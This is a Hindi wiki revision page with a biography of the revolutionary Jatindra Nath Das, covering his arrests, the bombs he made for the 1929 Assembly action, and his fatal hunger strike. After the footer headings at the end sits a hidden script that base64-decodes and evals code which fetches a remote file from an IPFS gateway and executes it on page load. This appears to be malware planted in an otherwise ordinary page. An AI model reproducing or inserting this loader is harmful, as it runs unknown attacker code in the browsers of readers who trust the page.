यतीन्द्रनाथ दास: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 5: Line 5:
एक युवक के माध्यम से वे प्रसिद्ध क्रान्तिकारी शचीन्द्रनाथ सान्याल के सम्पर्क में आए और क्रान्तिकारी संस्था 'हिन्दुस्तान रिपब्लिकन एसोसिएशन' के सदस्य बन गये। अपने सम्पर्कों और साहसपूर्ण कार्यों से उन्होंने दल में महत्त्वपूर्ण स्थान बना लिया और अनेक क्रान्तिकारी कार्यों में भाग लिया। इस बीच यतीन्द्र ने बम बनाना भी सीख लिया था।  
एक युवक के माध्यम से वे प्रसिद्ध क्रान्तिकारी शचीन्द्रनाथ सान्याल के सम्पर्क में आए और क्रान्तिकारी संस्था 'हिन्दुस्तान रिपब्लिकन एसोसिएशन' के सदस्य बन गये। अपने सम्पर्कों और साहसपूर्ण कार्यों से उन्होंने दल में महत्त्वपूर्ण स्थान बना लिया और अनेक क्रान्तिकारी कार्यों में भाग लिया। इस बीच यतीन्द्र ने बम बनाना भी सीख लिया था।  
==नज़रबन्द==  
==नज़रबन्द==  
1925 में यतीन्द्रनाथ को 'दक्षिणेश्वर बम कांड' और 'काकोरी कांड' के सिलसिले में गिरफ़्तार किया गया था, किन्तु प्रमाणों के अभाव में मुकदमा न चल पाने पर वे नज़रबन्द कर लिये गए। जेल में दुर्व्यवहार के विरोध में उन्होंने 21 दिन तक जब भूख हड़ताल कर दी तो बिगड़ते स्वास्थ्य को देखकर सरकार को उन्हें रिहा करना पड़ा।
[[1925]] में यतीन्द्रनाथ को 'दक्षिणेश्वर बम कांड' और '[[काकोरी कांड]]' के सिलसिले में गिरफ़्तार किया गया था, किन्तु प्रमाणों के अभाव में मुकदमा न चल पाने पर वे नज़रबन्द कर लिये गए। जेल में दुर्व्यवहार के विरोध में उन्होंने 21 [[दिन]] तक जब भूख हड़ताल कर दी तो बिगड़ते स्वास्थ्य को देखकर सरकार को उन्हें रिहा करना पड़ा।
 
==लाहौर षड़यंत्र केस में गिरफ़्तार==
==लाहौर षड़यंत्र केस में गिरफ़्तार==
जेल से बाहर आने पर यतीन्द्रनाथ दास ने अपना अध्ययन और राजनीति दोनों काम जारी रखे। 1928 की कोलकाता कांग्रेस में वे कांग्रेस सेवादल में [[नेताजी सुभाषचंद्र बोस]] के सहायक थे। वहीं उनकी [[सरदार भगतसिंह]] से भेंट हुई और उनके अनुरोध पर बम बनाने के लिए [[आगरा]] आए। [[8 अप्रैल]], 1929 को भगतसिंह और [[बटुकेश्वर दत्त]] ने जो बम केन्द्रीय असेम्बली में फेंके, वे इन्हीं के द्वारा बनाये हुए थे। [[14 जून]], 1929 को यतीन्द्र गिरफ़्तार कर लिये गए और 'लाहौर षड़यंत्र केस' में मुकदमा चला।
जेल से बाहर आने पर यतीन्द्रनाथ दास ने अपना अध्ययन और राजनीति दोनों काम जारी रखे। 1928 की कोलकाता कांग्रेस में वे कांग्रेस सेवादल में [[नेताजी सुभाषचंद्र बोस]] के सहायक थे। वहीं उनकी [[सरदार भगतसिंह]] से भेंट हुई और उनके अनुरोध पर बम बनाने के लिए [[आगरा]] आए। [[8 अप्रैल]], 1929 को भगतसिंह और [[बटुकेश्वर दत्त]] ने जो बम केन्द्रीय असेम्बली में फेंके, वे इन्हीं के द्वारा बनाये हुए थे। [[14 जून]], 1929 को यतीन्द्र गिरफ़्तार कर लिये गए और 'लाहौर षड़यंत्र केस' में मुकदमा चला।

Revision as of 04:23, 28 October 2012

यतीन्द्रनाथ दास (जन्म: 27 अक्टूबर, 1904; मृत्यु: 13 सितम्बर, 1929) एक प्रसिद्ध क्रान्तिकारी थे।

जन्म और शिक्षा

अमर शहीद यतीन्द्रनाथ दास का जन्म 27 अक्टूबर, 1904 ई. को कोलकाता में एक साधारण बंगाली परिवार में हुआ था। उनके पिता का नाम बंकिम बिहारी दास और माता का नाम सुहासिनी देवी था। यतीन्द्र नौ वर्ष के थे, तभी उनकी माता का स्वर्गवास हो गया। 16 वर्ष की उम्र में 1920 में यतीन्द्र ने मैट्रिक की परीक्षा पास की। उसी समय गांधी जी ने असहयोग आन्दोलन प्रारम्भ किया तो यतीन्द्र इस आन्दोलन में कूद पड़े। विदेशी कपड़ों की दुकान पर धरना देते हुए गिरफ़्तार कर लिये गए। उन्हें 6 महीने की सज़ा हुई। लेकिन जब चौरी-चौरा की घटना के बाद गांधी जी ने आन्दोलन वापस ले लिया तो निराश यतीन्द्रनाथ फिर कॉलेज में भर्ती हो गए। कॉलेज का यह प्रवेश यतीन्द्र के जीवन में निर्णायक सिद्ध हुआ।

सदस्य

एक युवक के माध्यम से वे प्रसिद्ध क्रान्तिकारी शचीन्द्रनाथ सान्याल के सम्पर्क में आए और क्रान्तिकारी संस्था 'हिन्दुस्तान रिपब्लिकन एसोसिएशन' के सदस्य बन गये। अपने सम्पर्कों और साहसपूर्ण कार्यों से उन्होंने दल में महत्त्वपूर्ण स्थान बना लिया और अनेक क्रान्तिकारी कार्यों में भाग लिया। इस बीच यतीन्द्र ने बम बनाना भी सीख लिया था।

नज़रबन्द

1925 में यतीन्द्रनाथ को 'दक्षिणेश्वर बम कांड' और 'काकोरी कांड' के सिलसिले में गिरफ़्तार किया गया था, किन्तु प्रमाणों के अभाव में मुकदमा न चल पाने पर वे नज़रबन्द कर लिये गए। जेल में दुर्व्यवहार के विरोध में उन्होंने 21 दिन तक जब भूख हड़ताल कर दी तो बिगड़ते स्वास्थ्य को देखकर सरकार को उन्हें रिहा करना पड़ा।

लाहौर षड़यंत्र केस में गिरफ़्तार

जेल से बाहर आने पर यतीन्द्रनाथ दास ने अपना अध्ययन और राजनीति दोनों काम जारी रखे। 1928 की कोलकाता कांग्रेस में वे कांग्रेस सेवादल में नेताजी सुभाषचंद्र बोस के सहायक थे। वहीं उनकी सरदार भगतसिंह से भेंट हुई और उनके अनुरोध पर बम बनाने के लिए आगरा आए। 8 अप्रैल, 1929 को भगतसिंह और बटुकेश्वर दत्त ने जो बम केन्द्रीय असेम्बली में फेंके, वे इन्हीं के द्वारा बनाये हुए थे। 14 जून, 1929 को यतीन्द्र गिरफ़्तार कर लिये गए और 'लाहौर षड़यंत्र केस' में मुकदमा चला।

अनशन

जेल में क्रान्तिकारियों के साथ राजबन्दियों के समान व्यवहार न होने के कारण क्रान्तिकारियों ने 13 जुलाई, 1929 से अनशन आरम्भ कर दिया। यतीन्द्र भी इसमें सम्मिलित हुए। उनका कहना था कि एक बार अनशन आरम्भ होने पर हम अपनी मांगों की पूर्ति के बिना उसे नहीं तोड़ेंगे। कुछ समय के बाद जेल अधिकारियों ने नाक में नली डालकर बलपूर्वक लोगों के पेट में दूध डालना शुरू कर दिया। यतीन्द्र को 21 दिन के पहले अपने अनशन का अनुभव था। उनके साथ यह युक्ति काम नहीं आई। नाक से डाली नली को सांस से खींचकर वे दांतों से दबा लेते थे। अन्त में पागलखाने के एक डॉक्टर ने एक नाक की नली दांतों से दब जाने पर दूसरी नाक से नली डाल दी, जो यतीन्द्र के फेफड़ों में चली गई। उनकी घुटती सांस की परवाह किए बिना उस डॉक्टर ने एक सेर दूध उनके फेफड़ों में भर दिया। इससे उन्हें निमोनिया हो गया। कर्मचारियों ने उन्हें धोखे से बाहर ले जाना चाहा, लेकिन यतीन्द्र अपने साथियों से अलग होने के लिए तैयार नहीं हुए।

निधन

अनशन के 63वें दिन 13 सितम्बर, 1929 को यतीन्द्रनाथ दास का देहान्त हो गया। यतीन्द्र के भाई किरण चंद्रदास ट्रेन से उनके शव को कोलकाता ले गए। सभी स्टेशनों पर लोगों ने इस शहीद को श्रद्धांजलि अर्पित की। कोलकाता में शवदाह के समय लाखों की भीड़ एकत्र थी। उनकी इस शानदार अहिंसात्मक शहादत का उल्लेख पंडित जवाहरलाल नेहरू ने अपनी आत्मकथा में किया है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ


बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>